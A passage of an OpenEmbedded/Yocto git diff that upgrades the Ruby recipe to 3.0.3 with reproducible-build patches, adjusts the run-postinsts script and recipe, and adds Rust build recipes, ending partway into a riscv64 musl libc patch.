diff --git a/meta/recipes-devtools/ruby/ruby/0002-Obey-LDFLAGS-for-the-link-of-libruby.patch b/meta/recipes-devtools/ruby/ruby/0002-Obey-LDFLAGS-for-the-link-of-libruby.patch
index b31dee1128..4b954e439b 100644
--- a/meta/recipes-devtools/ruby/ruby/0002-Obey-LDFLAGS-for-the-link-of-libruby.patch
+++ b/meta/recipes-devtools/ruby/ruby/0002-Obey-LDFLAGS-for-the-link-of-libruby.patch
@@ -1,27 +1,25 @@
-From 6d608326970b1613633d7715ebb7d628dfcd16ee Mon Sep 17 00:00:00 2001
+From 07fd1ada322eda6c05ac45c08fc814976f31b596 Mon Sep 17 00:00:00 2001
From: Christopher Larson <chris_larson@mentor.com>
Date: Thu, 5 May 2016 10:59:07 -0700
-Subject: [PATCH 2/3] Obey LDFLAGS for the link of libruby
+Subject: [PATCH] Obey LDFLAGS for the link of libruby
Signed-off-by: Christopher Larson <chris_larson@mentor.com>
Upstream-Status: Pending
+
---
template/Makefile.in | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/template/Makefile.in b/template/Makefile.in
-index fa1e19ef37..bbd07fa34b 100644
+index f5a3149..5cc75ae 100644
--- a/template/Makefile.in
+++ b/template/Makefile.in
-@@ -109,7 +109,7 @@ MISSING = @LIBOBJS@ @ALLOCA@
- ENABLE_SHARED = @ENABLE_SHARED@
+@@ -114,7 +114,7 @@ ENABLE_SHARED = @ENABLE_SHARED@
LDSHARED = @LIBRUBY_LDSHARED@
DLDSHARED = @DLDSHARED@
+ XDLDFLAGS = @DLDFLAGS@
-DLDFLAGS = @LIBRUBY_DLDFLAGS@ $(XLDFLAGS) $(ARCH_FLAG)
+DLDFLAGS = @LIBRUBY_DLDFLAGS@ @LDFLAGS@ $(XLDFLAGS) $(ARCH_FLAG)
SOLIBS = @SOLIBS@
ENABLE_DEBUG_ENV = @ENABLE_DEBUG_ENV@
MAINLIBS = @MAINLIBS@
---
-2.23.0.rc1
-
diff --git a/meta/recipes-devtools/ruby/ruby/0002-template-Makefile.in-filter-out-f-prefix-map.patch b/meta/recipes-devtools/ruby/ruby/0002-template-Makefile.in-filter-out-f-prefix-map.patch
new file mode 100644
index 0000000000..2efbad7513
--- /dev/null
+++ b/meta/recipes-devtools/ruby/ruby/0002-template-Makefile.in-filter-out-f-prefix-map.patch
@@ -0,0 +1,42 @@
+Subject: [PATCH] template/Makefile.in: filter out -f*prefix-map
+
+If we add DEBUG_PREFIX_MAP into LDFLAGS, ruby and ruby-dbg are no longer
+reproducible. Fix this.
+
+Upstream-Status: Inappropriate [oe-core specific]
+Signed-off-by: Tony Battersby <tonyb@cybernetics.com>
+---
+--- a/tool/mjit_archflag.sh
++++ b/tool/mjit_archflag.sh
+@@ -7,6 +7,20 @@ quote() {
+ echo
+ }
+
++quote_filtered() {
++ printf "#${indent}define $1"
++ while shift && [ "$#" -gt 0 ]; do
++ case "$1" in
++ -ffile-prefix-map=*|-fdebug-prefix-map=*|-fmacro-prefix-map=*)
++ ;;
++ *)
++ printf ' "%s"'$sep "$1"
++ ;;
++ esac
++ done
++ echo
++}
++
+ archs=""
+ arch_flag=""
+
+--- a/template/Makefile.in
++++ b/template/Makefile.in
+@@ -666,7 +666,7 @@ mjit_config.h:
+ quote "MJIT_OPTFLAGS " $(MJIT_OPTFLAGS); \
+ quote "MJIT_DEBUGFLAGS " $(MJIT_DEBUGFLAGS); \
+ quote "MJIT_LDSHARED " ; \
+- quote "MJIT_DLDFLAGS MJIT_ARCHFLAG" $(MJIT_DLDFLAGS); \
++ quote_filtered "MJIT_DLDFLAGS MJIT_ARCHFLAG" $(MJIT_DLDFLAGS); \
+ quote "MJIT_LIBS " $(LIBRUBYARG_SHARED); \
+ quote 'PRELOADENV "@PRELOADENV@"'; \
+ indent=$${archs:+' '}; \
diff --git a/meta/recipes-devtools/ruby/ruby/0003-rdoc-build-reproducible-documentation.patch b/meta/recipes-devtools/ruby/ruby/0003-rdoc-build-reproducible-documentation.patch
new file mode 100644
index 0000000000..f92f0e1ba6
--- /dev/null
+++ b/meta/recipes-devtools/ruby/ruby/0003-rdoc-build-reproducible-documentation.patch
@@ -0,0 +1,35 @@
+From: Christian Hofstaedtler <zeha@debian.org>
+Date: Tue, 10 Oct 2017 15:04:34 -0300
+Subject: rdoc: build reproducible documentation
+
+- provide a fixed timestamp to the gzip compression
+
+Upstream-Status: Backport [debian]
+
+Signed-off-by: Antonio Terceiro <terceiro@debian.org>
+Signed-off-by: Christian Hofstaedtler <zeha@debian.org>
+---
+ lib/rdoc/generator/json_index.rb | 4 ++--
+ lib/rdoc/rdoc.rb | 2 +-
+ 2 files changed, 3 insertions(+), 3 deletions(-)
+
+--- a/lib/rdoc/generator/json_index.rb
++++ b/lib/rdoc/generator/json_index.rb
+@@ -178,7 +178,7 @@
+ debug_msg "Writing gzipped search index to %s" % outfile
+
+ Zlib::GzipWriter.open(outfile) do |gz|
+- gz.mtime = File.mtime(search_index_file)
++ gz.mtime = -1
+ gz.orig_name = search_index_file.basename.to_s
+ gz.write search_index
+ gz.close
+@@ -196,7 +196,7 @@
+ debug_msg "Writing gzipped file to %s" % outfile
+
+ Zlib::GzipWriter.open(outfile) do |gz|
+- gz.mtime = File.mtime(dest)
++ gz.mtime = -1
+ gz.orig_name = dest.basename.to_s
+ gz.write data
+ gz.close
diff --git a/meta/recipes-devtools/ruby/ruby/0004-lib-mkmf.rb-sort-list-of-object-files-in-generated-M.patch b/meta/recipes-devtools/ruby/ruby/0004-lib-mkmf.rb-sort-list-of-object-files-in-generated-M.patch
new file mode 100644
index 0000000000..e0aca0dcfc
--- /dev/null
+++ b/meta/recipes-devtools/ruby/ruby/0004-lib-mkmf.rb-sort-list-of-object-files-in-generated-M.patch
@@ -0,0 +1,28 @@
+From: Reiner Herrmann <reiner@reiner-h.de>
+Date: Tue, 10 Oct 2017 15:06:13 -0300
+Subject: lib/mkmf.rb: sort list of object files in generated Makefile
+
+Without sorting the list explicitly, its order is indeterministic,
+because readdir() is also not deterministic.
+When the list of object files varies between builds, they are linked
+in a different order, which results in an unreproducible build.
+
+Upstream-Status: Backport [debian]
+
+Signed-off-by: Antonio Terceiro <terceiro@debian.org>
+Signed-off-by: Reiner Herrmann <reiner@reiner-h.de>
+---
+ lib/mkmf.rb | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+--- a/lib/mkmf.rb
++++ b/lib/mkmf.rb
+@@ -2315,7 +2315,7 @@
+ LIBS = #{$LIBRUBYARG} #{$libs} #{$LIBS}
+ ORIG_SRCS = #{orig_srcs.collect(&File.method(:basename)).join(' ')}
+ SRCS = $(ORIG_SRCS) #{(srcs - orig_srcs).collect(&File.method(:basename)).join(' ')}
+-OBJS = #{$objs.join(" ")}
++OBJS = #{$objs.sort.join(" ")}
+ HDRS = #{hdrs.map{|h| '$(srcdir)/' + File.basename(h)}.join(' ')}
+ LOCAL_HDRS = #{$headers.join(' ')}
+ TARGET = #{target}
diff --git a/meta/recipes-devtools/ruby/ruby/0005-Mark-Gemspec-reproducible-change-fixing-784225-too.patch b/meta/recipes-devtools/ruby/ruby/0005-Mark-Gemspec-reproducible-change-fixing-784225-too.patch
new file mode 100644
index 0000000000..b7faa58655
--- /dev/null
+++ b/meta/recipes-devtools/ruby/ruby/0005-Mark-Gemspec-reproducible-change-fixing-784225-too.patch
@@ -0,0 +1,28 @@
+From: Christian Hofstaedtler <zeha@debian.org>
+Date: Tue, 10 Oct 2017 15:07:11 -0300
+Subject: Mark Gemspec-reproducible change fixing #784225, too
+
+I think the UTC date change will fix the Multi-Arch not-same file issue,
+too.
+
+Upstream-Status: Backport [debian]
+
+Signed-off-by: Antonio Terceiro <terceiro@debian.org>
+Signed-off-by: Christian Hofstaedtler <zeha@debian.org>
+---
+ lib/rubygems/specification.rb | 4 +++-
+ 1 file changed, 3 insertions(+), 1 deletion(-)
+
+--- a/lib/rubygems/specification.rb
++++ b/lib/rubygems/specification.rb
+@@ -1695,7 +1695,9 @@
+ raise(Gem::InvalidSpecificationException,
+ "invalid date format in specification: #{date.inspect}")
+ end
+- when Time, DateLike then
++ when Time then
++ Time.utc(date.utc.year, date.utc.month, date.utc.day)
++ when DateLike then
+ Time.utc(date.year, date.month, date.day)
+ else
+ TODAY
diff --git a/meta/recipes-devtools/ruby/ruby/0006-Make-gemspecs-reproducible.patch b/meta/recipes-devtools/ruby/ruby/0006-Make-gemspecs-reproducible.patch
new file mode 100644
index 0000000000..504893b4b4
--- /dev/null
+++ b/meta/recipes-devtools/ruby/ruby/0006-Make-gemspecs-reproducible.patch
@@ -0,0 +1,67 @@
+From: Lucas Kanashiro <kanashiro@debian.org>
+Date: Fri, 1 Nov 2019 15:25:17 -0300
+Subject: Make gemspecs reproducible
+
+Without an explicit date, they will get the current date and make the
+build unreproducible
+
+Upstream-Status: Backport [debian]
+
+---
+ ext/bigdecimal/bigdecimal.gemspec | 1 +
+ ext/fiddle/fiddle.gemspec | 1 +
+ ext/io/console/io-console.gemspec | 2 +-
+ lib/ipaddr.gemspec | 1 +
+ lib/rdoc/rdoc.gemspec | 1 +
+ 5 files changed, 5 insertions(+), 1 deletion(-)
+
+--- a/ext/bigdecimal/bigdecimal.gemspec
++++ b/ext/bigdecimal/bigdecimal.gemspec
+@@ -6,6 +6,7 @@
+ s.name = "bigdecimal"
+ s.version = bigdecimal_version
+ s.authors = ["Kenta Murata", "Zachary Scott", "Shigeo Kobayashi"]
++ s.date = RUBY_RELEASE_DATE
+ s.email = ["mrkn@mrkn.jp"]
+
+ s.summary = "Arbitrary-precision decimal floating-point number library."
+--- a/ext/fiddle/fiddle.gemspec
++++ b/ext/fiddle/fiddle.gemspec
+@@ -8,6 +8,7 @@
+ Gem::Specification.new do |spec|
+ spec.name = "fiddle"
+ spec.version = version_module::Fiddle::VERSION
++ spec.date = RUBY_RELEASE_DATE
+ spec.authors = ["Aaron Patterson", "SHIBATA Hiroshi"]
+ spec.email = ["aaron@tenderlovemaking.com", "hsbt@ruby-lang.org"]
+
+--- a/ext/io/console/io-console.gemspec
++++ b/ext/io/console/io-console.gemspec
+@@ -4,6 +4,7 @@
+ Gem::Specification.new do |s|
+ s.name = "io-console"
+ s.version = _VERSION
++ s.date = RUBY_RELEASE_DATE
+ s.summary = "Console interface"
+ s.email = "nobu@ruby-lang.org"
+ s.description = "add console capabilities to IO instances."
+--- a/lib/ipaddr.gemspec
++++ b/lib/ipaddr.gemspec
+@@ -6,6 +6,7 @@
+ Gem::Specification.new do |spec|
+ spec.name = "ipaddr"
+ spec.version = "1.2.2"
++ spec.date = RUBY_RELEASE_DATE
+ spec.authors = ["Akinori MUSHA", "Hajimu UMEMOTO"]
+ spec.email = ["knu@idaemons.org", "ume@mahoroba.org"]
+
+--- a/lib/rdoc/rdoc.gemspec
++++ b/lib/rdoc/rdoc.gemspec
+@@ -7,6 +7,7 @@
+
+ Gem::Specification.new do |s|
+ s.name = "rdoc"
++ s.date = RUBY_RELEASE_DATE
+ s.version = RDoc::VERSION
+
+ s.authors = [
diff --git a/meta/recipes-devtools/ruby/ruby/remove_has_include_macros.patch b/meta/recipes-devtools/ruby/ruby/remove_has_include_macros.patch
index a1e6330445..6e90a8ee77 100644
--- a/meta/recipes-devtools/ruby/ruby/remove_has_include_macros.patch
+++ b/meta/recipes-devtools/ruby/ruby/remove_has_include_macros.patch
@@ -1,4 +1,7 @@
-Filter out __has_include* compiler defines
+From 303fe0d20184203f1ac86d2a77b1447d47c8c29d Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Sun, 26 Jan 2020 11:27:40 -0800
+Subject: [PATCH] Filter out __has_include* compiler defines
They are internal to compiler and this header is later on includes in C
files, but newer gcc >= 10 complains about it.
@@ -13,12 +16,18 @@ error in initial header file:
Upstream-Status: Pending
Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ common.mk | 2 ++
+ 1 file changed, 2 insertions(+)
+
+diff --git a/common.mk b/common.mk
+index 7633050..422aa9c 100644
--- a/common.mk
+++ b/common.mk
-@@ -221,6 +221,8 @@ $(TIMESTAMPDIR)/$(MJIT_HEADER:.h=)$(MJIT
- $(TIMESTAMPDIR)/$(arch)/.time
+@@ -233,6 +233,8 @@ $(TIMESTAMPDIR)/$(MJIT_HEADER:.h=)$(MJIT_HEADER_SUFFIX).time: probes.h vm.$(OBJE
$(ECHO) building $(@F:.time=.h)
- $(Q) $(CPP) -DMJIT_HEADER $(MJIT_HEADER_FLAGS) $(CFLAGS) $(XCFLAGS) $(CPPFLAGS) $(srcdir)/vm.c $(CPPOUTFLAG)$(@F:.time=.h).new
+ $(MINIRUBY) $(tooldir)/mjit_tabs.rb "$(MJIT_TABS)" \
+ $(CPP) -DMJIT_HEADER $(MJIT_HEADER_FLAGS) $(CFLAGS) $(XCFLAGS) $(CPPFLAGS) $(srcdir)/vm.c $(CPPOUTFLAG)$(@F:.time=.h).new
+ $(Q)sed -i -e "/#define __has_include __has_include/d" $(@F:.time=.h).new
+ $(Q)sed -i -e "/#define __has_include_next __has_include_next/d" $(@F:.time=.h).new
$(Q) $(IFCHANGE) "--timestamp=$@" $(@F:.time=.h) $(@F:.time=.h).new
diff --git a/meta/recipes-devtools/ruby/ruby_2.7.2.bb b/meta/recipes-devtools/ruby/ruby_2.7.2.bb
deleted file mode 100644
index 055ea9343f..0000000000
--- a/meta/recipes-devtools/ruby/ruby_2.7.2.bb
+++ /dev/null
@@ -1,92 +0,0 @@
-require ruby.inc
-
-DEPENDS_append_libc-musl = " libucontext"
-
-SRC_URI += " \
- file://remove_has_include_macros.patch \
- file://run-ptest \
- file://0001-Modify-shebang-of-libexec-y2racc-and-libexec-racc2y.patch \
- "
-
-SRC_URI[md5sum] = "2d4a28dcfa38352a627a597f6057c465"
-SRC_URI[sha256sum] = "6e5706d0d4ee4e1e2f883db9d768586b4d06567debea353c796ec45e8321c3d4"
-
-PACKAGECONFIG ??= ""
-PACKAGECONFIG += "${@bb.utils.filter('DISTRO_FEATURES', 'ipv6', d)}"
-
-PACKAGECONFIG[valgrind] = "--with-valgrind=yes, --with-valgrind=no, valgrind"
-PACKAGECONFIG[gmp] = "--with-gmp=yes, --with-gmp=no, gmp"
-PACKAGECONFIG[ipv6] = "--enable-ipv6, --disable-ipv6,"
-
-EXTRA_OECONF = "\
- --disable-versioned-paths \
- --disable-rpath \
- --disable-dtrace \
- --enable-shared \
- --enable-load-relative \
- --with-pkg-config=pkg-config \
-"
-
-EXTRA_OECONF_append_libc-musl = "\
- LIBS='-lucontext' \
- ac_cv_func_isnan=yes \
- ac_cv_func_isinf=yes \
-"
-
-do_install() {
- oe_runmake 'DESTDIR=${D}' install
-}
-
-do_install_append_class-target () {
- # Find out rbconfig.rb from .installed.list
- rbconfig_rb=`grep rbconfig.rb ${B}/.installed.list`
- # Remove build host directories
- sed -i -e 's:--sysroot=${STAGING_DIR_TARGET}::g' \
- -e s:'--with-libtool-sysroot=${STAGING_DIR_TARGET}'::g \
- -e 's|${DEBUG_PREFIX_MAP}||g' \
- -e 's:${HOSTTOOLS_DIR}/::g' \
- -e 's:${RECIPE_SYSROOT_NATIVE}::g' \
- -e 's:${RECIPE_SYSROOT}::g' \
- -e 's:${BASE_WORKDIR}/${MULTIMACH_TARGET_SYS}::g' \
- ${D}$rbconfig_rb
-}
-
-do_install_ptest () {
- cp -rf ${S}/test ${D}${PTEST_PATH}/
-
- install -D ${S}/tool/test/runner.rb ${D}${PTEST_PATH}/tool/test/runner.rb
- cp -r ${S}/tool/lib ${D}${PTEST_PATH}/tool/
- mkdir -p ${D}${PTEST_PATH}/lib
- cp -r ${S}/lib/did_you_mean ${S}/lib/rdoc ${D}${PTEST_PATH}/lib
-
- # install test-binaries
- find $(find ./.ext -path '*/-test-') -name '*.so' -print0 \
- | tar --no-recursion --null -T - --no-same-owner --preserve-permissions -cf - \
- | tar -C ${D}${libdir}/ruby/${SHRT_VER}.0/ --no-same-owner --preserve-permissions --strip-components=2 -xf -
- # adjust path to not assume build directory layout
- sed -e 's|File.expand_path(.*\.\./bin/erb[^)]*|File.expand_path("${bindir}/erb"|g' \
- -i ${D}${PTEST_PATH}/test/erb/test_erb_command.rb
-
- cp -r ${S}/include ${D}/${libdir}/ruby/
- test_case_rb=`grep rubygems/test_case.rb ${B}/.installed.list`
- sed -i -e 's:../../../test/:../../../ptest/test/:g' ${D}/$test_case_rb
-}
-
-PACKAGES =+ "${PN}-ri-docs ${PN}-rdoc"
-
-SUMMARY_${PN}-ri-docs = "ri (Ruby Interactive) documentation for the Ruby standard library"
-RDEPENDS_${PN}-ri-docs = "${PN}"
-FILES_${PN}-ri-docs += "${datadir}/ri"
-
-SUMMARY_${PN}-rdoc = "RDoc documentation generator from Ruby source"
-RDEPENDS_${PN}-rdoc = "${PN}"
-FILES_${PN}-rdoc += "${libdir}/ruby/*/rdoc ${bindir}/rdoc"
-
-FILES_${PN} += "${datadir}/rubygems"
-
-FILES_${PN}-ptest_append_class-target = "\
- ${libdir}/ruby/include \
- ${libdir}/ruby/${SHRT_VER}.0/*/-test- \
-"
-
-BBCLASSEXTEND = "native"
diff --git a/meta/recipes-devtools/ruby/ruby_3.0.3.bb b/meta/recipes-devtools/ruby/ruby_3.0.3.bb
new file mode 100644
index 0000000000..95feb94dd4
--- /dev/null
+++ b/meta/recipes-devtools/ruby/ruby_3.0.3.bb
@@ -0,0 +1,105 @@
+require ruby.inc
+
+DEPENDS:append:libc-musl = " libucontext"
+
+SRC_URI += " \
+ file://remove_has_include_macros.patch \
+ file://run-ptest \
+ file://0001-template-Makefile.in-do-not-write-host-cross-cc-item.patch \
+ file://0002-template-Makefile.in-filter-out-f-prefix-map.patch \
+ file://0003-rdoc-build-reproducible-documentation.patch \
+ file://0004-lib-mkmf.rb-sort-list-of-object-files-in-generated-M.patch \
+ file://0005-Mark-Gemspec-reproducible-change-fixing-784225-too.patch \
+ file://0006-Make-gemspecs-reproducible.patch \
+ "
+
+SRC_URI[sha256sum] = "3586861cb2df56970287f0fd83f274bd92058872d830d15570b36def7f1a92ac"
+
+PACKAGECONFIG ??= ""
+PACKAGECONFIG += "${@bb.utils.filter('DISTRO_FEATURES', 'ipv6', d)}"
+
+PACKAGECONFIG[valgrind] = "--with-valgrind=yes, --with-valgrind=no, valgrind"
+PACKAGECONFIG[gmp] = "--with-gmp=yes, --with-gmp=no, gmp"
+PACKAGECONFIG[ipv6] = "--enable-ipv6, --disable-ipv6,"
+
+EXTRA_OECONF = "\
+ --disable-versioned-paths \
+ --disable-rpath \
+ --disable-dtrace \
+ --enable-shared \
+ --enable-load-relative \
+ --with-pkg-config=pkg-config \
+"
+
+EXTRA_OECONF:append:libc-musl = "\
+ LIBS='-lucontext' \
+ ac_cv_func_isnan=yes \
+ ac_cv_func_isinf=yes \
+"
+
+EXTRA_OECONF:append:libc-musl:riscv64 = "\
+ --with-coroutine=copy \
+"
+EXTRA_OECONF:append:libc-musl:riscv32 = "\
+ --with-coroutine=copy \
+"
+
+do_install() {
+ oe_runmake 'DESTDIR=${D}' install
+}
+
+do_install:append:class-target () {
+ # Find out rbconfig.rb from .installed.list
+ rbconfig_rb=`grep rbconfig.rb ${B}/.installed.list`
+ # Remove build host directories
+ sed -i -e 's:--sysroot=${STAGING_DIR_TARGET}::g' \
+ -e s:'--with-libtool-sysroot=${STAGING_DIR_TARGET}'::g \
+ -e 's|${DEBUG_PREFIX_MAP}||g' \
+ -e 's:${HOSTTOOLS_DIR}/::g' \
+ -e 's:${RECIPE_SYSROOT_NATIVE}::g' \
+ -e 's:${RECIPE_SYSROOT}::g' \
+ -e 's:${BASE_WORKDIR}/${MULTIMACH_TARGET_SYS}::g' \
+ ${D}$rbconfig_rb
+
+ sed -i -e 's|${DEBUG_PREFIX_MAP}||g' \
+ ${D}${libdir}/pkgconfig/*.pc
+
+}
+
+do_install_ptest () {
+ cp -rf ${S}/test ${D}${PTEST_PATH}/
+
+ install -D ${S}/tool/test/runner.rb ${D}${PTEST_PATH}/tool/test/runner.rb
+ cp -r ${S}/tool/lib ${D}${PTEST_PATH}/tool/
+ mkdir -p ${D}${PTEST_PATH}/lib
+ cp -r ${S}/lib/did_you_mean ${S}/lib/rdoc ${D}${PTEST_PATH}/lib
+
+ # install test-binaries
+ find $(find ./.ext -path '*/-test-') -name '*.so' -print0 \
+ | tar --no-recursion --null -T - --no-same-owner --preserve-permissions -cf - \
+ | tar -C ${D}${libdir}/ruby/${SHRT_VER}.0/ --no-same-owner --preserve-permissions --strip-components=2 -xf -
+ # adjust path to not assume build directory layout
+ sed -e 's|File.expand_path(.*\.\./bin/erb[^)]*|File.expand_path("${bindir}/erb"|g' \
+ -i ${D}${PTEST_PATH}/test/erb/test_erb_command.rb
+
+ cp -r ${S}/include ${D}/${libdir}/ruby/
+}
+
+PACKAGES =+ "${PN}-ri-docs ${PN}-rdoc"
+
+SUMMARY:${PN}-ri-docs = "ri (Ruby Interactive) documentation for the Ruby standard library"
+RDEPENDS:${PN}-ri-docs = "${PN}"
+FILES:${PN}-ri-docs += "${datadir}/ri"
+
+SUMMARY:${PN}-rdoc = "RDoc documentation generator from Ruby source"
+RDEPENDS:${PN}-rdoc = "${PN}"
+FILES:${PN}-rdoc += "${libdir}/ruby/*/rdoc ${bindir}/rdoc"
+
+FILES:${PN} += "${datadir}/rubygems"
+
+FILES:${PN}-ptest:append:class-target = "\
+ ${libdir}/ruby/include \
+ ${libdir}/ruby/${SHRT_VER}.0/*/-test- \
+"
+
+BBCLASSEXTEND = "native"
diff --git a/meta/recipes-devtools/run-postinsts/run-postinsts/run-postinsts b/meta/recipes-devtools/run-postinsts/run-postinsts/run-postinsts
index f84a7e18c8..95dccb9cae 100755
--- a/meta/recipes-devtools/run-postinsts/run-postinsts/run-postinsts
+++ b/meta/recipes-devtools/run-postinsts/run-postinsts/run-postinsts
@@ -72,12 +72,12 @@ exec_postinst_scriptlets() {
else
echo "ERROR: postinst $i failed."
[ "$POSTINST_LOGGING" = "1" ] && eval echo "ERROR: postinst $i failed." $append_log
- remove_pi_dir=0
+ remove_rcsd_link=0
fi
done
}
-remove_pi_dir=1
+remove_rcsd_link=1
if $pm_installed; then
case $pm in
"ipk")
@@ -92,9 +92,7 @@ else
exec_postinst_scriptlets
fi
-# since all postinstalls executed successfully, remove the postinstalls directory
-# and the rcS.d link
-if [ $remove_pi_dir = 1 ]; then
- rm -rf $pi_dir
+# since all postinstalls executed successfully, remove the rcS.d link
+if [ $remove_rcsd_link = 1 ]; then
remove_rcsd_link
fi
diff --git a/meta/recipes-devtools/run-postinsts/run-postinsts_1.0.bb b/meta/recipes-devtools/run-postinsts/run-postinsts_1.0.bb
index 85b3fc867e..db353d607b 100644
--- a/meta/recipes-devtools/run-postinsts/run-postinsts_1.0.bb
+++ b/meta/recipes-devtools/run-postinsts/run-postinsts_1.0.bb
@@ -1,4 +1,5 @@
SUMMARY = "Runs postinstall scripts on first boot of the target device"
+DESCRIPTION = "${SUMMARY}"
SECTION = "devel"
PR = "r10"
LICENSE = "MIT"
@@ -15,7 +16,7 @@ inherit allarch systemd update-rc.d
INITSCRIPT_NAME = "run-postinsts"
INITSCRIPT_PARAMS = "start 99 S ."
-SYSTEMD_SERVICE_${PN} = "run-postinsts.service"
+SYSTEMD_SERVICE:${PN} = "run-postinsts.service"
do_configure() {
:
@@ -32,13 +33,13 @@ do_install() {
install -d ${D}${sysconfdir}/init.d/
install -m 0755 ${WORKDIR}/run-postinsts.init ${D}${sysconfdir}/init.d/run-postinsts
- install -d ${D}${systemd_unitdir}/system/
- install -m 0644 ${WORKDIR}/run-postinsts.service ${D}${systemd_unitdir}/system/
+ install -d ${D}${systemd_system_unitdir}/
+ install -m 0644 ${WORKDIR}/run-postinsts.service ${D}${systemd_system_unitdir}/
sed -i -e 's:#SYSCONFDIR#:${sysconfdir}:g' \
-e 's:#SBINDIR#:${sbindir}:g' \
-e 's:#BASE_BINDIR#:${base_bindir}:g' \
-e 's:#LOCALSTATEDIR#:${localstatedir}:g' \
${D}${sbindir}/run-postinsts \
- ${D}${systemd_unitdir}/system/run-postinsts.service
+ ${D}${systemd_system_unitdir}/run-postinsts.service
}
diff --git a/meta/recipes-devtools/rust/README-rust.md b/meta/recipes-devtools/rust/README-rust.md
new file mode 100644
index 0000000000..b87637c3b0
--- /dev/null
+++ b/meta/recipes-devtools/rust/README-rust.md
@@ -0,0 +1,58 @@
+## Introduction
+
+This provides the Rust compiler, tools for building packages (cargo), and
+a few example projects.
+
+## What works:
+
+ - Building `rust-native` and `cargo-native`
+ - Building Rust based projects with Cargo for the TARGET
+ - e.g. `rustfmt` which is used by the CI system
+ - `-buildsdk` and `-crosssdk` packages
+
+## What doesn't:
+
+ - Using anything but x86_64 or arm64 as the build environment
+ - rust (built for target) [issue #81](https://github.com/meta-rust/meta-rust/issues/81)
+
+## What's untested:
+
+ - cargo (built for target)
+
+## Building a rust package
+
+When building a rust package in bitbake, it's usually easiest to build with
+cargo using cargo.bbclass. If the package already has a Cargo.toml file (most
+rust packages do), then it's especially easy. Otherwise you should probably
+get the code building in cargo first.
+
+Once your package builds in cargo, you can use
+[cargo-bitbake](https://github.com/cardoe/cargo-bitbake) to generate a bitbake
+recipe for it. This allows bitbake to fetch all the necessary dependent
+crates, as well as a pegged version of the crates.io index, to ensure maximum
+reproducibility. Once the Rust SDK support is added to oe-core, cargo-bitbake
+may also be added to the SDK.
+
+NOTE: You will have to edit the generated recipe based on the comments
+contained within it
+
+## TODO
+
+## Pitfalls
+
+ - TARGET_SYS _must_ be different from BUILD_SYS. This is due to the way Rust configuration options are tracked for different targets. This is the reason we use the Yocto triples instead of the native Rust triples. See rust-lang/cargo#3349.
+
+## Dependencies
+
+On the host:
+ - Any `-sys` packages your project might need must have RDEPENDs for
+ the native library.
+
+On the target:
+ - Any `-sys` packages your project might need must have RDEPENDs for
+ the native library.
+
+## Copyright
+
+MIT OR Apache-2.0 - Same as rust
+
diff --git a/meta/recipes-devtools/rust/libstd-rs.inc b/meta/recipes-devtools/rust/libstd-rs.inc
new file mode 100644
index 0000000000..987956344a
--- /dev/null
+++ b/meta/recipes-devtools/rust/libstd-rs.inc
@@ -0,0 +1,40 @@
+SUMMARY = "Rust standard libaries"
+HOMEPAGE = "http://www.rust-lang.org"
+SECTION = "devel"
+LICENSE = "MIT | Apache-2.0"
+LIC_FILES_CHKSUM = "file://../../COPYRIGHT;md5=93a95682d51b4cb0a633a97046940ef0"
+
+RUSTLIB_DEP = ""
+inherit cargo
+
+DEPENDS:append:libc-musl = " libunwind"
+# rv32 does not have libunwind ported yet
+DEPENDS:remove:riscv32 = "libunwind"
+DEPENDS:remove:riscv64 = "libunwind"
+
+# Embed bitcode in order to allow compiling both with and without LTO
+RUSTFLAGS += "-Cembed-bitcode=yes"
+# Needed so cargo can find libbacktrace
+RUSTFLAGS += "-L ${STAGING_LIBDIR} -C link-arg=-Wl,-soname,libstd.so"
+
+S = "${RUSTSRC}/src/libstd"
+
+CARGO_FEATURES ?= "panic-unwind backtrace"
+CARGO_BUILD_FLAGS += "--features '${CARGO_FEATURES}'"
+CARGO_VENDORING_DIRECTORY = "${RUSTSRC}/vendor"
+
+do_compile:prepend () {
+ export CARGO_TARGET_DIR="${B}"
+ # For Rust 1.13.0 and newer
+ export RUSTC_BOOTSTRAP="1"
+}
+
+do_install () {
+ mkdir -p ${D}${rustlibdir}
+
+ # With the incremental build support added in 1.24, the libstd deps directory also includes dependency
+ # files that get installed. Those are really only needed to incrementally rebuild the libstd library
+ # itself and don't need to be installed.
+ rm -f ${B}/${TARGET_SYS}/${BUILD_DIR}/deps/*.d
+ cp ${B}/${TARGET_SYS}/${BUILD_DIR}/deps/* ${D}${rustlibdir}
+}
diff --git a/meta/recipes-devtools/rust/libstd-rs/0005-Add-base-definitions-for-riscv64-musl-libc.patch b/meta/recipes-devtools/rust/libstd-rs/0005-Add-base-definitions-for-riscv64-musl-libc.patch
new file mode 100644
index 0000000000..dedf9af415
--- /dev/null
+++ b/meta/recipes-devtools/rust/libstd-rs/0005-Add-base-definitions-for-riscv64-musl-libc.patch
@@ -0,0 +1,863 @@
+From 4e188d047dee33a19902113a3c90cdf1d8310a9e Mon Sep 17 00:00:00 2001
+From: Ralf Anton Beier <ralf_beier@me.com>
+Date: Sun, 8 Aug 2021 11:05:06 +0200
+Subject: [PATCH 5/8] Add base definitions for riscv64 + musl
+
+https://github.com/rust-lang/libc/pull/1994/commits/030a07761f61f3293d53752e60edbd330a9d718d
+
+Upstream-Status: Submitted [https://github.com/rust-lang/libc/pull/2537]
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+Signed-off-by: Ralf Anton Beier <ralf_beier@me.com>
+---
+ .../src/unix/linux_like/linux/musl/b64/mod.rs | 3 +
+ .../linux_like/linux/musl/b64/riscv64/mod.rs | 867 ++++++++++++++++++
+ 2 files changed, 870 insertions(+)
+ create mode 100644 vendor/libc-0.2.98/src/unix/linux_like/linux/musl/b64/riscv64/mod.rs
+
+--- a/vendor/libc/src/unix/linux_like/linux/musl/b64/mod.rs
++++ b/vendor/libc/src/unix/linux_like/linux/musl/b64/mod.rs
+@@ -163,6 +163,9 @@ cfg_if! {
+ } else if #[cfg(any(target_arch = "x86_64"))] {
+ mod x86_64;
+ pub use self::x86_64::*;
++ } else if #[cfg(any(target_arch = "riscv64"))] {
++ mod riscv64;
++ pub use self::riscv64::*;
+ } else {
+ // Unknown target_arch
+ }
+--- /dev/null
++++ b/vendor/libc/src/unix/linux_like/linux/musl/b64/riscv64/mod.rs
+@@ -0,0 +1,832 @@
++//! RISC-V-specific definitions for 64-bit linux-like values
++
++pub type c_char = u8;
